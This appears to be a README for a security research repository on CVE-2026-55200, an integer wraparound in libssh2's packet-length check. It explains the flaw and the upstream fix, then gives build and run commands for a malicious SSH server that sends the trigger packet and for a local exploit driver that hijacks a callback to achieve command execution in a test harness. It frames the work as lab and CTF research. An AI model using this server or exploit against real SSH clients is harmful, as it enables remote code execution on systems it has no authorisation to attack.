6.3 KiB
libssh2 CVE-2026-55200 PoC and local RCE scaffold
This directory contains local research artifacts for CVE-2026-55200, an unchecked SSH packet_length condition in libssh2's ssh2_transport_read() transport parser path.
Research status: arithmetic verifier, encrypted SSH trigger scaffold, and controlled local RCE harness verified.
Summary
libssh2 through 1.11.1 accepted an attacker-controlled SSH packet length in one full-packet decryption path without first enforcing the RFC-sized libssh2 packet maximum.
The vulnerable source shape is:
total_num = 4
packet_length = decoded SSH packet_length field
reject only if packet_length < 1
total_num += packet_length + mac_len + auth_len
reject if total_num > 35000 or total_num == 0
allocate total_num bytes
With packet_length=0xffffffff, mac_len=0, and auth_len=16, the vulnerable C expression can produce allocation size 19:
packet_length + mac_len + auth_len == 15 modulo 2^32
4 + 15 == 19
The original packet_length remains 0xffffffff. Later full-packet processing can still use packet-length-derived sizes, including a packet_length - 1 style length, after the allocation decision has already been made.
The upstream fix rejects packet_length > LIBSSH2_PACKET_MAXPAYLOAD before the addition.
Files
poc/cve_2026_55200_probe.c- standalone C11 arithmetic verifier.poc/libpwn_cve_2026_55200_server.py- minimal malicious SSH server/trigger scaffold.poc/libpwn_local_rce_harness.c- controlled local vulnerable target modeling the wrapped allocation-to-control pattern.poc/libpwn_local_rce_exploit.py- local exploit driver that overwrites the harness callback and creates an RCE proof file.evidence/2026-06-23-local-harness-output.txt- earlier arithmetic verifier evidence.
Affected Source Path
The affected path is in:
src/transport.c:ssh2_transport_read()
The fix is upstream commit:
97acf3dfda80c91c3a8c9f2372546301d4a1a7a8
The relevant fix adds a packet_length > LIBSSH2_PACKET_MAXPAYLOAD guard before the vulnerable addition in the full-packet path.
Arithmetic Verifier
Linux, macOS, WSL, or MinGW:
gcc -std=c11 -Wall -Wextra -O0 -g -o cve_2026_55200_probe poc/cve_2026_55200_probe.c
./cve_2026_55200_probe
Windows PowerShell with MinGW:
gcc -std=c11 -Wall -Wextra -O0 -g -o cve_2026_55200_probe.exe .\poc\cve_2026_55200_probe.c
.\cve_2026_55200_probe.exe
Useful modes:
./cve_2026_55200_probe --benign
./cve_2026_55200_probe --native
./cve_2026_55200_probe --check
./cve_2026_55200_probe --packet-length 0xffffffff --mac-len 0 --auth-len 16
Expected default proof condition:
vulnerable32_decision=accepted
vulnerable32_allocation=19
fixed32_decision=rejected: out of boundary
native_unpatched_decision=accepted
native_note=source-shaped integer expression wraps before assignment into 64-bit size_t
result=PASS
Malicious SSH Trigger Scaffold
Local crypto and arithmetic self-test:
python poc/libpwn_cve_2026_55200_server.py --self-test
Loopback test for the minimal SSH handshake, key derivation, server-to-client sequence number, and encrypted trigger:
python poc/libpwn_cve_2026_55200_server.py --loopback-test --hold-open 0
Run as a one-shot malicious server for a challenge client:
python poc/libpwn_cve_2026_55200_server.py --serve --listen-host 0.0.0.0 --listen-port 2222
Change --listen-host and --listen-port for your lab or HTB instance. The top of the script also leaves:
HOST = ""
PORT = 0
intentionally open.
The server negotiates curve25519-sha256, RSA host key auth, and chacha20-poly1305@openssh.com, then sends a malformed encrypted server-to-client packet whose decrypted SSH packet_length is 0xffffffff.
Controlled Local RCE Harness
Build the local vulnerable target:
gcc -O0 -g -Wall -Wextra -o poc/libpwn_local_rce_harness poc/libpwn_local_rce_harness.c
Windows PowerShell with MinGW:
gcc -O0 -g -Wall -Wextra -o poc\libpwn_local_rce_harness.exe poc\libpwn_local_rce_harness.c
Run the local exploit driver:
python poc/libpwn_local_rce_exploit.py --harness ./poc/libpwn_local_rce_harness --proof ./poc/libpwn_rce_proof.txt
cat poc/libpwn_rce_proof.txt
Windows PowerShell:
python poc\libpwn_local_rce_exploit.py
Get-Content poc\libpwn_rce_proof.txt
Expected proof:
RCE_PROOF=PASS
libpwn-rce-verified
The harness proves local command execution by overflowing from the modeled 19-byte allocation state into a callback pointer and creating libpwn_rce_proof.txt.
64-bit Note
A 64-bit Linux target is still plausible for this trigger. In the unpatched libssh2 source, the vulnerable branch computes packet_length + mac_len + auth_len from 32-bit/integer operands before adding that result into size_t, so 0xffffffff + 0 + 16 wraps to 15 and then 4 + 15 becomes allocation size 19.
Verification Status
Verified locally:
python poc\libpwn_cve_2026_55200_server.py --self-test
python poc\libpwn_cve_2026_55200_server.py --loopback-test --hold-open 0
gcc -O0 -g -Wall -Wextra -o poc\libpwn_local_rce_harness.exe poc\libpwn_local_rce_harness.c
python poc\libpwn_local_rce_exploit.py
python -m py_compile poc\libpwn_cve_2026_55200_server.py poc\libpwn_local_rce_exploit.py
Limits
libpwn_cve_2026_55200_server.py is a locally verified CVE trigger/scaffold. Turning it into a reliable challenge-specific flag-read/RCE chain still depends on the target binary, allocator behavior, mitigations, and how the challenge invokes libssh2.
libpwn_local_rce_harness.c is a controlled proof target, not a universal exploit for every libssh2 deployment. It demonstrates the exploit pattern that a CTF/HTB service still needs to match or be adapted to.
References
- CVE record:
https://www.cve.org/CVERecord?id=CVE-2026-55200 - NVD entry:
https://nvd.nist.gov/vuln/detail/CVE-2026-55200 - Upstream fix:
https://github.com/libssh2/libssh2/commit/97acf3dfda80c91c3a8c9f2372546301d4a1a7a8 - Upstream PR:
https://github.com/libssh2/libssh2/pull/2052 - VulnCheck advisory:
https://www.vulncheck.com/advisories/libssh2-out-of-bounds-write-via-unchecked-packet-length-in-transport-c
Responsible Use
Run these PoCs only against local research targets, owned systems, or explicitly authorized lab/CTF/HTB instances.